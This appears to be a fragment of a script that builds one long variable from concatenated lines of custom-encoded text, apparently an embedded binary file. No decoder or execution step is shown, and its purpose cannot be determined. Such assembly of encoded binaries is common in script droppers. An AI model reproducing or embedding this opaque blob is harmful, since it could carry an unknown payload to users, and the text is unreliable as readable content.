"(rJ.^%>#?+Uz,'I+Hz=H=\w+9Z],.###?+U$='J,C%=X?+Mr,&I+J9:/JXI:IDMr%'J.=\J.%;T%/zM+_5M+IEU5[_^,GJs+;As," str = str + "JzM+&r!S@+W(x:LM##$+JrE_?%WE@#<s-?I+JrA#?)<(?#'$?+^CGJ$/Jv5#####@_^,E$>/Jz;x#=###'N.!Wz\T%r##'HSt'J." str = str + "C%=X?%W!?+UD,'$+Jz`+Ju=L;'J.G%>+?+<'+'(FXz!/!/!/!/!/!/!/!'$\\L(]?+<T/'N.x'Z.zLJ.z[t(X*z./z$+Hz=X=\wF" str = str + "^D:+HuMP#*=<?+<'/'(F^Ms+9Z]H-X##?+U$;'J,^%=P?+WE?+T=?+^?E#I+Jr(=JXKS#K<,?+Mz,%$+_z)(Z^=V?&W(?+WA?_W;" str = str + "?#A%5'Z.Y5Kx,###?+U)['HSurX&ArZ.XZLv?+U;;'IKYrH$#[J&WP######&v?`####@+U;)'J:>O$,;=(s+'J.KPH###$+JwB=" str = str + "####?_L,-A(+Jr_v?+L+?+U)[+L=?_Wv?_*v9Xz##*_x`HzGI#######@+V;H####.P$####=CK9&X##?_W;9Y\U.###?%W_@#<X" str = str + "?+Wy?&u9&X##E[>+;AIu!rZ.YrJ(9u=F@+V;H####'Z.XyP$####?_W;9Y[u.###@+W*@%W#??WP?+Uz,%$+Jz\+JsXL-'J&Y&$$" str = str + "^MwEXrHSx5WM!/!/!/!/!/!/!/Y+J\XL''J,G%=_\[J.y'J$y+####$+JX]'B###?&<'?+M(5'J.5[J.=@I+JXI+IDMr.'J.\s$/" str = str + "_X,-K==$?&W+DYY$K[&9J=,+Jrzv?+T>?+s%#[J,#=5t#VM%#H##?+;9H#####$s%SK99999x?v%##$/JrD_?+s*D'Lw#*[H?+V^" str = str + "L####'J.KvH###$,J=I+JrDv?+L+-A(+JrE=J>$+Jv5#####?+:9B#$s*<z\@?T##+<v9yW99999&v@E#=##&yC_xE[$##$+Yr^P" str = str + "#####'K*>G#<####YL^_#<z\*?T##'?.X+<v9X5'##'##,$+JruP?+U\z'HyZO/H?+s$#[J,>FI+K[^_?+<x''H<=r^_>+H'%/`'" str = str + "%#'#xXs(&yC+?+s:t;INz<99?+s\t'J&GG#=?#A&\EI/K[^_@#A&>EI/JruP@#<-?+s(Z'J,>%=v?+s(r[J,>%=X?+s(r'J,>%=P" str = str + "?+s(X'J,>%=H?+s^E'J.@tK9(C_P##%(X*IYH9H$&v9!####?+s(r'Hw>DI+K[^_&v]D####?+:Az$$+&r:(t'Z.\D$/-A$/Jr^P" str = str + "@@W%@=A%r'J:@EI+HuuX''H<=ru_@?W%@+M(x'O9X'R:($*P\J###'J.Kv####&9(>rR##$'Jz%&5<z<I=*9995y99999rJ.\G$+" str = str + "H9P=&v-D####?<9%?+U:t'J.X[J$5H#=###<HP####$+Hz+O?+U,5'HSX[J&X<I+H9HGENW9(\=Q##%=?+:Az$$+&r:(t'J.^FI+" str = str + "Jru#?%W`?#<_?+^CGIA+9zT<WHX.?+V^H####<z\xJL##'J(tuv)?+U:X;WI&y`Er;Mx9999H9H&&v\T9999?+s(t'J&GG#=?#A&" str = str + ">EH<WIKQ]99995Kt'=##Jz:+Jruv?&</x/=>##$/K`XLH####'N.]YI,JuTH?_WK^D</!/!/!/!/!/!/!/!/!/Y#[rJ&y%$+Jr'v" str = str + "?+W`?+T+?+^,E$I+Jr:=?)/=?#<>?&W-DXL<UH(+Hz=H]z:+JX:+JzU+J^XL/<A=;+WvH9K9E=U+JuXL/'J&Y%$CXrJ.#vW^?+W." str = str + "9s#HJzE+JuXL/'J&Y%$CXz!/!/!/!/!/!/!/?+MD,$I^?+<T+'J.=@I+JAN.5LJ.%'J(Z^=t?+U&)'Hw%*/UH9S9E#H<UL*9;z,s" str = str + "+'J.=s&9#'J.=!I+9XH!X+<99XA(YrJ.^%>#?+<'+(9&?+V@H####'J(rO>!H999E)w+HuUP#*[<=#5t!9z\O?H##+<v9u\.@+U&" str = str + ";'J:[u$,;>$r?rZ.?YI#J&Q,JX(+;z,r)'J,HvH###$+Jr:=?)/+?=/+?+N.L####'N,'_W.?+U&;%W-Hz(Y?+L=?+U&[+L+JzE+" str = str + "JsXL='J&Y%$GXrJ.^%>#V<9999A+Hz=H^z:+J\XL+(E+HFZ#####?+T(C)=##'H!Y'J,>%>vJ9Q+JAN&5WAs$!<#x\[$##$+Js(#" str = str + "?+T%?+^#E$A+Js(_@)/%@#<#?@W#DY&9(=+N##$#J&J.Y5LR#=##?+;wH#####$+JC=LP#####5'$X'##'Z.=>I+K[(X?@L#E?$+" str = str + "Jw)=####?+V,J####'N,%%W>?+U&;'J,%'J.=s%,''J.?tI+IDMs+LJ.Lv####$#&yy<9Y[K,X##VG9999zyX=A(!vW$xC=###$+" str = str + "K[=L='%+G%>=?+M',&I+K\:r?+s',*I+J[=L/'Z:@%>>?+s',(I+J[=L-'Z:>%>=?+s','I+J[=L+<z\'?[##+^#F)R&5#(5,_<v" str = str + "#u\H&yw/,($+Jw;#####9Y]Y,H##VG9999zyX=A(!vW$xr\+Ju=L='J:>%>_?%WXE$A/JvV#####?+s/,(I/JzBx#=###<z\PJ_#" str = str + "#'Hyz*[??+s',(&)=u'$?&M','J.Yu[(V<9999A+Jy=LP####'J.@%>v?&</x/';##$+JwXLR####'J$Y+####$GXrJ.J_####$+" str = str + "IDMr$rK9,^[M##&&!/!/!/!/!/!/!/!/?+V,H####'J(Z^=*?<zM^?[##/</!/!/!/!/!/!/!/Y#[rJ&y%$+JAM+K=^+/H##?+L$" str = str + "?+;wH#####$r.rJ.?>I+K[:X?&L$E?,/Jv;=####?+V@J####'J,'[J.=!I+J>$'-z,+Jr:=>+L#H*Uz#*=+?+W.x/_&##$+JzU+" str = str + "Hz=H]rK9,GzK##&/!/!/!/!/?+MD,$I\\ME+H5YX?+T(*]+##'H!Y'J,>%>P?+WZ?+Ww?+M/,&#!y_MT,%$+K=[\/H##?+L$?+*$" str = str + "T####<z\M?/##,&*>%=H#=###'J:^Y$(/zM(/z$+JA:+Jz99(^vK##%=?+T*?):+$'J:$FDY##$+J==w?+T*?):+$+t>[<999vM[" str = str + ";GY+J\XL['J.Z9z\(%/##,$+K=^//=##?+L&=+ISG'%+Bu(+JzW9(=HK##$+JBV#####?+T(=NT##'J,=u>+J]UPK\[$>+s(='J." str = str + "!Wz\'J/##'J.z'J(X#5'sH###/`&G#(#J)UY?+W.9Y^(+H##?+MT,(I+J]XL_'J,C%>=@+s/,($/K[=L_'J:\%>_?+W;9Y]),###" str = str + "?+U',(I+J[/_?+M&+'J.>%>H?+M&;'J,=r$+Jr=L['J,=s$+J[:_?+N!H####'J.$C(R##$+J[:r?+MSB'J:\%>#?+W.9Y\.+H##" str = str + "L'J.Z;K%#H##?+WX?+W+9Y^t+=##I/$r$LJ,BtKS&LJ,DtI+JzW9(?DJ##%=?+U/,'I+IDMr:'Z.#[*9[$$+ID$r-'Z.#.P$####" str = str + "?+W+=Gz=xYI+JXE+_rH'?#<<>@<#=_s=#Wz\#?+##,$+JzE+JrXLB'H!!;HH&###?+VD,-####$+Hz>X^swEXrJ,^%=+\rJ&y%%." str = str + "5LJ.t[J:$]+X##$+J=(+HyN######*=U@+U$)'J:=^$,;=$s+'J.L`####$+JvN+####?_L+?+U&;'J,%%W>?+U&[+L=H*Uz#*=+" str = str + "?+W.x)+$##$+JzW9(B'I##%==<C*#^=:VQH###$+JzWPV=T##'J.XrJ.^%=X?+<'+(9&!/!/!/!/!'J,^%=+\rJ&y%$+KCM=9999" str = str + "JAQ+Jz9P\G&999C&#^=:VI#$##$+Jz9PEXT##'J.^%=X?+W*?+<'+(9&!/!/!/Y#[rJ&y)$+JX\K^X##?&<'?+M',(I+HuMP#'J." str = str + "t=5'T####+$wD=#<I-_###$+JX)x99999rJ,G%>v9s#_H9K9&v?,####?+U.B'J:>%=X?+s@E'J,>%=H@+s/,(I/K[=L;<z\F%##" str = str + "#+^#E%J&x#(r,v<v#O\`YL:Y#.#$?+Uz,*I+JrXL]'H!!;JZ%H##?+<'_(W&YL:Y#'J.G%=X?+s',&I+-9Ir*rZ.Jv####$+K[XL" str = str + ";'Z.YyP$####9Y[W+H##?&WvE=N#Fu'#&w@#xxrZX;VQT#(+JrXL]'H!!;IF%H##?+<'_(W&!/!/!/!/!/Y+J\XL''J,E%=_\rJ&" str = str + "y%$+HyN######'J.t^=Kx;9599A+JvV#####/95'X'J.zrH<><G9(CzI##%(X*=*xX+!9rJ.ArJ.Zz`&G#&)=u'#9Y]!*X##?+T:" str = str + "A)D##'J.YLJ.E%>#?+M.E'J,Vv####$+J^UP?+UD,&I+Hz=H^z</!'J,^%==?+Mr,$I^?+<T='J.$FQE##$+/z>+J[=L;'J.z@<?" str = str + "?+s/,%K9(FPF##%=?+T(LND##'J,>%=H?+T:yIv##<z\v$v##'J.5'J.>HI+;uH_DXA+JrH=?+TD5[J(tu\PxX+!tv$v,#$r(<z\" str = str + "SIv##'HyF$I!&[J.=$$+JY!v?+^CE[\+JsXL+'J(tu[y?+W]?+s/,%&9(D/F##$+H9K9E(,+JsXL+'J,^%=X?+W.x;/*##$+JX:+" str = str + "JzW9[#I+JsXL+'J,*GwN##$+K[XL-<z\;Yv##'J.XrJ.@%=v?&</x;T+##$+JsXL]'J.E%>H?+<'=(9&x*_%##%=!/!/!/Y+J\XL" str = str + ")'J,E%=H\r([=\\$\L(^?+<T='[<UWI+J9Q+J9(+J[XL-&<CJ\XL,'[ZAL?+E%=H@+WI?+M/,&$+JX(+_rH'?PU/+[I+IDMr$rJ." str = str + "#GA=%,%Z#[J.!Wz\z>r##+I',&J'X#5'v=###'J,^Y$+JzE+Huz_'*+&?+T*YH##?+T)?):+$'J.@&(+9Y]O*=##JA$,WG999999" str = str + "99A9&Yz#H9S9E=]:]H.S.r'ysu[D=C_$>+Ir,%$+JX`+_rH'?+U//[K9(?zF##&S'LJ.@Y$,;zsZ%yT%####J\XL,;UP@+U*)'Ly" str = str + "Z*/F?+s$#[J,>Y$+JzE,H9H=DH:+JXF+(#K)>#H$#;T/>#5tZLJ.!5KFw<99=C_$>+Ir,%$+JX`+_rH'?+U//[K9(?XE##%.r;MU" str = str + "9999JsXL,'=<UO=L+'Z.`%=X?+Ur,%I(I<`s#v<.#LJ.$LIK?#>+#zw(/z%.r9z\<$r##,$,JXXL?):>$'R.@%,+?+^,E#E+JY*9" str = str + "[I%=?+W)@+sD,'$,JsU#?_U!?'N.vr(G=\w$^[(D^z</!/!/!'J&y%I+JY(+JX,+_rH'?+U/'[I+IDMr$rJ.#GA=',$+Hz=PXz!/" str = str + "!/!/!/!/!/!/!'J&y%I+JY(+JX,+_rH'?+U/'[I+IDMr$rJ.#GA=',$+Hz=PXrIK=GY+-zKQ[<W99rJ:$FLR##$+Yr'=#####'J," str = str + "==I+K=^V-H##?+L$?+W$Xz!/!/!/!/!/!/!/!/!/!'$@?+<T+'J.t[J.XLJ:&ErH###<\z$+K\/+?+L.?+s+%#z>#Wz\wIX##'J:" str = str + "$BDR##$+J=:+Jz:+Hz=H]z</!/Y+H5Y+?+s/,%&PHW999rJ:(BU###$+K[XL+;H<(###!'J.%[J(Z^=.?+T$VH'###$+9Z&&!/!/" str = str + "!/!/!/!/!/!/?+<T-'J.?=I+IDMr*[J.#GA=''J(X*=?@+T#VH'###$+JzI+Hz=P?GzH?+<'-/</?+MD,$I\\ME$\'(\=\`$\rJ:" str = str + "S%?=z<99V*#=##&P*I[##'HSv'J.$G>`##$+/z>+J_\H&X##@+WR/9A+J^XL;#A^ZG/<GrXL='?.ArJ,G%>=>+WO?+Mz,%$(/zM/" str = str + "K[=L;'J.r@<,9Y\L*H##ID#<J.=###$+JsXL?#zGH#####%,G%=r?+U/,&I+JX(/K[XL:')v#$###'J:\%>H9s#_>+WvJrXL:'=&" str = str + "v_^,E'J.ArJ:G%>H&y_<J'XL/'LyuO=/J#U+9z:+J\XL?;TD@+s',&$+JA:+K[XL=;I?#=##@+Ur,($+JsXL?<9)?<9*;u=L:*.$" str = str + "/9A(IGAv.L)&9X(sH').!'N,@=&9(ETC##$+J9$+JuXL='HSurZ.XrJ.srJ.Z;J)'H##xXw+K^=L/'N,G=$+JuXL='J(9u=u@%Wu" str = str + "?+W*?_*5#$###*+D?_<),rJ.G9I+-zE+Hz&v?+<v*u_*9Y]K)X##!'N.sLJ.!5JK$###L'J.@%=v?+^,E#`+JY*9[I$+Jz`+JvsH" str = str + "&X##?&</x(X'##$+JwXLX$###'J$Y*#=##$$^r(F=\s$^(AF^D</?+<T-'J.%[J(Z^=*?+T$9s#=L'J&Y%K&!/!/!/!/!/Y#[rJ&" str = str + "y%$+JAM+JXM+IDMr;LJ.[Y$+-A(+HGP#'###DII/Jr*v?+<%,rLSZ'J:=GI+H9HGEYU,JzKP$H=##&<#?+L&?+M&%'J,=Y$+Hz=H" str = str + "]z<9(F'B##&/!/!/!/!/!/Y#[s\]=\>$\LJ&y%$+Jr'+?+WR?+T>@+Ws@%WZ?%W%?.W999999999Grt.v'J.z[HyXX5'-X'##'J." str = str + "?>$+-zQ+J^XL_'J.r[Z,G%>P@+sv#[K>xLJ.XrHSXLHyZ*_N?.LN########H;I9#X##?+^#&v@N####?+sv,rJ&w5$+J[Gvx!Q+" str = str + "K==-?_WG?@W*?#A&t'J$5X#=##$Z&rJ:?ZE+;zT<IT'###&SWLJ(tu=:?+W.x&[&##$+J9KS#K<9==5t$%>/#9E+JzA$J#`/Jr_+" str = str + "?+T]?@WPE=\/-z.S)[Z.Y[XSXVJ['###@+U)%'N:@H(/-z\+JA^PH>###'J.&LJ(Z^=U?+U]''HSr[J$5H#=##$Z)'Z.=GI+Hz+O" str = str + "??W+?+s$5'J&5$Au:'N.Z;Jr#H##?Pr/<rJ,<LZ.G%>P?_W)?+M;%'J:&$A+JuXL_'J,@I$+Hz=H=\w$^(wE]z<9(^_`##&/x#H#" str = str + "##&/x*.J999/!'J&y%I+K=rU,X##9Y\G)###!/!/!/!/!/!/!/!/!/!/?+MD,#I^?+<T+'J:$>zO##$+JAM+J=).5LJ.?=K9(DrB" str = str + "##$#ATD$E%E+JzU#ATD'E>@9(BHB##$+Jz:+JsXL/'J&Y%$GXyP_####x&&)99A+Jz:+JsXL/'J&Y%$GXz!/=(:+H5XX?+T(zs[#" str = str + "#'H!Y'J,>%=P?+W`?/E',%######?+U,%'J:\%=H9Y\#)H##ID$r#vM&'.L_####9Y[t)H##?+^#E&H!Z[Z:$_#N###<\z#<'=$+" str = str + "J[H=?+U/,%%.[Y$+J[H+@+L#J\#=?+U/,%I+/z!P\X'##'J&Y&$CXrJ.@%=P?&</x'=$##$+Hz=X]z<9,@#^##$#[rJ&y%$+JANw" str = str + "'####;I>#=##?+M',&I+ID$r&LJ.(`>_##$+J>$+J\H+?+L(IMH##'J&Y%$CX9zM;I_##<zMC$_##'J,^%=+\rJ&y%#!rLJ.5[?:" str = str + "=JI,#zKPNXv##'J&`s##?+r(yC@99v:O]#$+K[zPHtED#'[!X'J,>Y#!rLJ,>XI+K=[E)H##?+M*+/D*_####/E*)##;##&P>5.9" str = str + "9v^#E@C9(G[[###<UzJ$Z=##$v%(X#A;Z+^,F>y9(?r\##%(X*=:?+r:xIL##<z\,$[##/_([\v###(+JsXL/'J.YrJ&Y%$GXz!/" str = str + "!'$@?+<T+'J.t[J&X?K9(C'[##$+JrU=?+^,E#SP%Xv##'J&_s##Ht:_#+:K^#$+Hz=H]z<QzXr##/!/!/!/!/!/!)`N&Y5'####" str = str + "##$+;XrQ\###zO[??/*$')CuXG99zO[%zT:+XDL=x_z*##&/!/!QW9999z!/!'$@?+<T+'J.tFT<?+W.x-D:##%(X*=@?+W.x+z:" str = str + "##$+ID$rwrJ&Y%$CXrJ&59Ar$VJu%###!;Jwu999!'$@?+<T+'J:$`T`##$+JAM+J=*tXH(r%SP_####x,S999A+Jz:+Hz=H]z</" str = str + "?+<T-;H9%H##ID$r+]\+JX=M/####'J.?#KS$[HyZ*=[/z&X?#5Y&[$^##$syK.#?+<'-/;X#FWu!/!/?+<T-;H&%H##ID$r$5I]" str = str + "%###xYOP,zG99vW+x#+:##%(X*='/T&S$5Ky&###T#(+Hz=PXrJ&y%H!ZFHA#=##I/#<MD$+Hz=PXz!/!'J&y%KP%Xr##+@#E==Z" str = str + "X;T?x<v/##%'X*[*x<[/##&Sy.#$?+<'-/:+H5XPx;//##&PuHX##.#$?+<'-/</!/Y+J\XL%'J,C%==?+Mr,$I^?+<T+'N.5[N." str = str + "z+WB?+WQx(X,##%(X*[]H9T$E>(/Jz_!rLJ.![J.Y9z\`ID##'J.\%>_JrXL['J.^%=X?+UT,&I+Ju=L='J&Y%$Gx@#/##$+H5XP" str = str + "x$D,##%(X*==?+r:=(_##'J&Y%KQ/=X##;I]&###ID$s$FHW&###?+<'-/:+H5XP/zOP;=X##'J&Y%KQ/#X##'$@?+<T+#5t$GU\" str = str + "##%(ZCT$####&r@&J#^S\=##x$_*##&P%=X##+@#E==ZX;T[x<X.##%'X*[,/zOPz=T##;WRJT:+Hz=H]z</!/Y#[rJ&y%%#<C$\" str = str + "####JAMs`v<w#^ERx*[+##%(X*=PIEUs,'J:&`Q\##&PHXT##+^#E>$+K=tJ\=##x*/.##%(X*=V/T&S/t_<CX]((X##?+<+99/<" str = str + "GX\Q\=##?+L(DM[##</<GX\Z\=##?+L(Fs[##/_(>\[###)X#[J&Y%$CXyL(####x$P+##&/!'J&y$I/Jz)v@\P##)_w$@]Y99As" str = str + "F'IK&]JY99A+K>[MTG99?#<-H@M=>=##E\5v%X+##)_w=>Is\'XSXH5u=>>+K\'_?#<=&yE$$LJ:&+$/K=!-?+L[,'Lyr^=_JrP/" str = str + "@&W$DHR.=HH&X[XyX*++?+<%-;WG/A,+IE,s$&.#xY?&FJ=#G==ZX;T-T#*S$K.#xX+ZX'J&Y$K&=(:+H5XHJUOP^XD##&<?ID$r" str = str + "%v@CE=E+IY\Z\###?+<'+(W&=(:+H5XHH&sO\####+S`E#?'rO[/x++-##%-Z5Iy%H##T#(+Hz=H]z</!/Y#[rJ&y%$+H!s%\###" str = str + "9rJ.t^[*x&H-##&S&rJ.rrJ:&?Y[##&P)XP##&<?ID$+&r@@?+W%?+<'+(W&!/Y+H5XPx.W999A+AAHCX<G_9zI+Hz=PXz!Q'9!9" str = str + "9z!/!'J&y%J(rO=wH5P$E%J&xH(r(P<x#^=-V#'###$+Hz=PX5H%9G99xX^Pr9!99X5tX'J&Y%K&?_W=?+<'-;L<####@_^#&w^$" str = str + "?+<'-;L_#=##?+MD,#I+J^=L''J,G%=H=\`+H5XH?+WZ@+WY/zOPDWu99v@#&v@+####x<Oy995-t+I','$#UX)&<[s@####&v^(" str = str + "####YX[A[X###=###;I'9<99I/$r@5IW%###x$P+##&P==H##'J:(]_[##$+K=s^(###x&X,##%(X*[Qx;*y995'X*=H?+r\:I=#" str = str + "#'J:&>D[##&P(HL##/D(x(+###+###$#/W5-Z5I]9W99=+@9E@9P&#H##'J.t'J&;#$r,'J.Z;JK9G99I/$r)'Z.YSP%####?_W;" str = str + "?+T&@+T:TI/##'*9rGz(x\+##.H$####xX+!X'J.^%=X?+Ur,&I+JuXL?'J&Y%$$^T;w$X###;IX$=##L/!/!'J,^%=+\rJ&y&$#" str = str + "JWN.$BM?##%(X*z:/z$+JsXL='J&Y&$GX99+J=]=[H##x:9x995-t+I',%%&<@`?###%E@GPz9W995HR$X##x-'*##%&,>w?####" str = str + "JTWPK9u99!<?=+S<x-OA999tt$WCH5/$x<^y995.X5VJV=D###&PxX=##,%=!'J.Y'J,]%$/J[#_J\#=?+M+%(`^=\`+H5Y#?_WX" str = str + "J9Q/J9)(rO[<;>[/[H##GXD!X;OV####K[.9H9H$Er\+JX^L'X##?+^#E=S*>%=X#=###;T[9Y]G'H##JAJ,>%=XID#<I.+###$/" str = str + "JzB.srN.!VJH9G99JAJ,>%=XID#<I,D###$/JzB.srN.!VIwXG99JAJ,>%=XH9z$E@B(X*[Z@+W)/A,,JzyP^D*99rJ(AH5\XFK)" str = str + "9W99?+T(BY/##'J(X*=;@+W)/A,,Jzy9(?H?##%(9u=(H9z&E[$/JzB.srN.!VHV9G99JAJ,>%=XID$r-[J.$@'@##$+ID$s%_s_" str = str + "#_MD,&&S('Z.YPW^?_W;9Y^M'=##JAJ,>%=XxX_!tvMD,&%.XrJ.^%>v?+<'='(F^sy&!/!/?+MD,#I+J^=L'(E+H5XH?_WvJAQ+" str = str + "J9)&5H(s$FKG$###@+W*JA:+Jzw+JsXL/'J.E%=v?+<'+(9QK9y99z!/!'$@?+<T+'J.t@<,9Y\C&=##?+W.9Y\-&=##9Y\[&=##" str = str + "?+W+VHL'#/$+Hz=H]rK9,[H:##$+J[XL%'J&y&Jw(X###;IM$H##ID$r$yL%####!?M+K=rC[=##x-P###$+Jr=L;'J,$=,?##$+" str = str + "K[=L;'J&X#I+J=]?[=##?+T(xs'##'J,$\Y=##$+Jr=L='J,$]$>##&*$@`=###,$#&#YX[X[####=###/D(;M####'###%v%###" str = str + "#'ISX#$+K=rZ[###?/D'#=+###%v%####'ISX#$+JXuB?X##?+M/$%%v%####'ISX#(+JXtA?X##?+M/$%$+K=u$'=##x#&999A+" str = str + "Hz=vXz!/!'$@\ME+H5Y#?+W`9Y[!&###?+V!5####&<9>@<#?+s[,)$+Jzy9(?'/##$+ID$r;[J&`%=v#'J:@%>P?+U[,)$/JzI+" str = str + "J[XL/'Z.YLJ:@%>X?+M/,%H!Z[J,^%=H9Y^Z%X##9zF&9X,zT[J&Y'$G^MW&!/!/?+:I'#$+K=\r'=##?+M$%'J:$\L>##$+J=(+" str = str + "Jz*&!/Y+H5Y+?+s/,%&PrW999rJ:(=/X##$+K[XL+;J^$###!'J,^%==?+Mr,$I^?+<T'&<#/zL<PL?.X[[!tr?.Zr)$z)wr`]Y$" str = str + "HG(*`]ws>+W?J9#!Z[):=X((%zH<PL)$zNMV`[N,$%>(%zR,^%='J9N,@%=+J\=L&*\=?+/:QrP##<zMz&99&!u#$H'#E%HA_#_%" str = str + "#*=I<^#)#H$r)H]X5G!9H9HHEZ>+V='##=#$####?#5KX^/[>+T(y(/##')&Z#('J=^I[X##xXE'JX^_[X##V#D###$'K[Ky;9$z" str = str + ",K<,&x-,$%>'JAV,^%='J[XL%+M[,#X<VV/,DXQ(%z('J=]M[X##YX[@?H###=###'?,&>$-###<VVD[&v;>####>+L:5rL##.T)" str = str + "####J>ur?=##&ySO)u:w&ySO**:!/zL<#E$+XF+H?#W=?+M[,%$+Jr=L+%.&;T:s\vT(YLL##+<+%/D(U[L###/###%,$C:,##$$" str = str + "AT/HE&J&Z%&*$`Y,###(####J=]B?=##V####A$'+AI';AIs)'J.>%=H,;#zv*[:HXsy?=##=+LED[L##'J.^%=P/z$+Ju=L/'J&" str = str + "Y$$GXz!/!&<#;=\T?=##&w^#Xv/Ms\+###&&?+MD,#I\?+tT,'&y99A+HF!#$=##JANw(X###;H^#X##ID$r$+W.!?Nw#X###;K(" str = str + "9999/A,+K[uX=CK=$###x+v%##$+K[uX9Y]-%=##?+VEx####'J:MEH'##$+JzU(/z&9(^H,##$+ID$r<'J&`%=v#'J:KF#'##$+" str = str + "Jw^_$###@+W+?+M/,&$/Jz:+K_uP$###?+M/,%I+K[uX?+M/,%#!ZGz\<XL##'J.IDH'##$+K[XL['J,IFH####!rLJ:IDH'##$$" str = str + "V,H###$+Hz#+?+N(J####;Ku#=##?+V(Z#=##'J,>%>HYr=L[$[##'&*>%>[#=###<z\ZXH##+<v#[J:>%>=?+M','$+K[^X&w@&" str = str + "?+M','H!ZGz\tHH##'J:@%>#9Y^*%###ID$s&+@CE=J:?#<PW9y99rJ.O%@=$=##?+*'X#[##(u&!/Y+J\XL+(\+J5Y+H5XH?+T(" str = str + "v'D##'Jy/R.G.`LS##$+;z:sE'J&`>H#?+s:)<z\THH##'J.>>I+J[[=9Y]D%###Jz$+/[[=9Y]+%###Jz$+K[rH?&(('<z\D#H#" str = str + "#+U(+'J:@>$+XF#H?&:(+'H!>>$+/z(+VG9999999X##?%<$?.L!PUzUN?T##'HyXrH<>/(+J=\E>X##?+UD,'I+AA$+J=\)>X##" str = str + "?+<'+(u&?+r:v\###'K9,@++##&/!'J:&E(=##&Qr####'J:$E\=##&&?+r(s\###/:+H5XPx;G999A+HXHLx;C999A+HXH%?+<'" str = str + "-/</?+r(r\###/:+J\XL%(E+H5XH?+rEMZ/##'J:<`#K##&S'LJ.#rJ(X*=)9Y]H%X##?+<&%'Hyuu.Q?+UD,&$+Hz=H^z:+J\XL" str = str + "%(E+H5XH?+rEBZ/##'J:<]=K##&S'LJ.#rJ(X*=)9Y\L%X##?+<&%'Hyuu.Q?+UD,&$+Hz=H^z<9,FP+##&9,BX+##&9,D_+##&9" str = str + ",DH+##&9,`++##&9,_=+##&9,]v+##&9,>H,##&9,>P,##&9,==,##&9,]_,##&9,\H,##&9,[P,##&9,@X,##&9,?_,##&9,\H," str = str + "##&9,>+,##&9,[=,##&9,[v,##&9,>#,##&9,E+)##&/!.#$XzX!X/</?+<T-'t.=@I+JzQ,JA*P&=###.H$####?+<'-/</!/Y#" str = str + "[r].)'J.tL)&v9I/JzM$AH#'@+W>E$:$Jr#+@]:=$<G_@#<>?)<+@%<>?]<&?PT[''J.=Y%.?#I+Jr/+AL=$#XAr%X5t>#'&H5&X" str = str + "@#<+@&<-?_W,]5M:zG99!'J.Y'J,]#I+J]H=?+MX)'J,F%$$\LJ&y%$,JsLv?+WZ@_WX?+WQ?_W>?+W;?_Ww@+s&$;IT9999Jr['" str = str + ",)Ctt.H$####>>W#=GG_>#<#>+\&$*=>@+W<@_W)?+W]?+W:x,K599A+JsXL/'J.C%=v?+Ur,'$+JuXL?'J&Y%$$^T</!/!/!/!/" str = str + "!/!/!/!/!/!/!/!/`N_<*v=######'J&y$$/J>=L@+MD,#I:/AU/K\=L)'XSr'r<=U:M@+TD,>####$:;A<ZDYEN=_*J#<$:K`T#" str = str + "z<99=D_&#'ryr9,syrZ.(%>/JsXL%'J&Y$&ZX9zMR=_##/!/!/!/!/!/!/!/!/!/!)`N&Y5'######&9v/!/!/!/!/!/!/!/!/!/" str = str + "!/!/!/!/`N_<*v=######<zM)HL##/!/!/!/!/!/!/Y+K_Q=#=##x??v99A+K_Q#####xFK[999/!/!/!/!/!'J:JJH###&Q$.K9" str = str + "9z!/!/Y+K_Q_####xG?u999/!/!/=(\+H5XH?+WRJr[HH5#$ID$r(_:M+<w+JrrX?+*$T####<z\X#[##'J&Y%$EXrJ.JK####$+" str = str + "Hz'_?<zMH#[##'J.JM####$+9Z\x$=##?+V-/####'J&X>&Q#V*99rJ:JL####&Q>VO99z!/!/!/!'J:JJH###$+9Z]?$###?+t-" str = str + "/####;L)xG99!/!/!/!/?+t-/####;Lrx<99?+t-/####;Ovw999?+M[,$$\?+<T+'J.xLJ.\?I+JX,+_rH'?#<-=C#$VH=###&9" str = str + "(Dz'##%=?.H##########'J&Y%$EXz!/!/!/!/!/!/!/!/!/?+t-;####;N[xW99?+t-=####;NPxW99=(\+J5Q+JX'!Z_'v$=##" str = str + "X#5[X_W$^D</=(\+H5XH?+WRJLs#?+<'+(uQ%W.99zY#\[J&y%$+J5R-@?&P5<*99w$+Hz=H^D</=(\+H5XH?+WR?+<'+(uQ]G&9" str = str + "9zY#\[J&y&$+J5Q+JX).''J,@%=PJ\=L+'Z:&]SZ99A/Jr\XJs\P?+U:_;JBy999L'J&Y&$EXz!/!/!/!/Y#[rJ&y%&S=[J.#rJ." str = str + "?XI+J=]B>=##?+T$?+U#'<z\&=D##'J.Z'J(X*=>?+T=?+T%VH'###&9(G=)##%x'####'J.Z5H.yW99?+TE_'[##'J(tu]!?+<'" str = str + "+(W&!'J:&\s(##&QG;u99X##############################################################################" str = str + "####################################################################################################" str = str + "####################################################################################################" str = str + "####################################################################################################" str = str + "####################################################################################################" str = str + "####################################################################################################" str = str + "########################################################################+QD#######$#MX########-^####" str = str + "###############5K=#######(%:########^Pr#######$RK=#######*J:########MPr########RK=#######-B:########" str = str + "WPr#######&[K=#######;-:########A+r#########KH#######$x:########&+r########=O########%?D########;QX#" str = str + "######$;O########)JD########G,X#######%_O########.BD########ZQX#######&FO########<RD########(,r#####" str = str + "###RO=#######'%E########]Qr#########K=##################/Q########$/L########)J=########O,########%x" str = str + "L########;Z=########uPz#######$VL=#######.?>########AQ'########vLH#######+B?########XQ+########;LX##" str = str + "#####'R@########MQ/#######&]LX#######%R[########GQ=#######%5M########<?[########%Q########%LKX######" str = str + "#)J<########,+z#######&DKH#######,?;########^Pv########zKH#######%Z>###################DKH##########" str = str + "########:QH#######$XO=#######%%_########%,H#######%NMX#######.J^########r,D#######&RMX#######<?^####" str = str + "####9QD##################,%^##################$/N=#######&x`##################&)N###################" str = str + "VQL#######&-N=###################,P#######$zN########$x`##################&VN########<J_########LQH#" str = str + "######%RNH#######*BB########!QP#######$BNH#######&JB########*QP########/NH#######.JB########LQP#####" str = str + "##&%NH#######:-_##################%ZN=#######-%`########N,L#######&_N=#######<B`########KQL#######%'" str = str + "N=#######*J`########CQL#######$LN=#######(R`########R,L##################&-`########,QL#######%)N###" str = str + "################S,H#######%BN###################WQH#######%tN###################vQ_#######$DMH######" str = str + "#/R]########-Q_#######%tMH#######,B]########HQ_#######$XMH#######'J]##################$VM=#######+?\" str = str + "########5,[#######&TM=#######;%\########X,[########-MH#######-x\########N,[##################)R^####" str = str + "###############X'#%##=###&#=#+#$####P(T#H#'###&#]X%##=###/$C#+#$################'#%##=####X=#+#$####" str = str + "#####################################################################################%HP?E/v=E><T5!C" str = str + 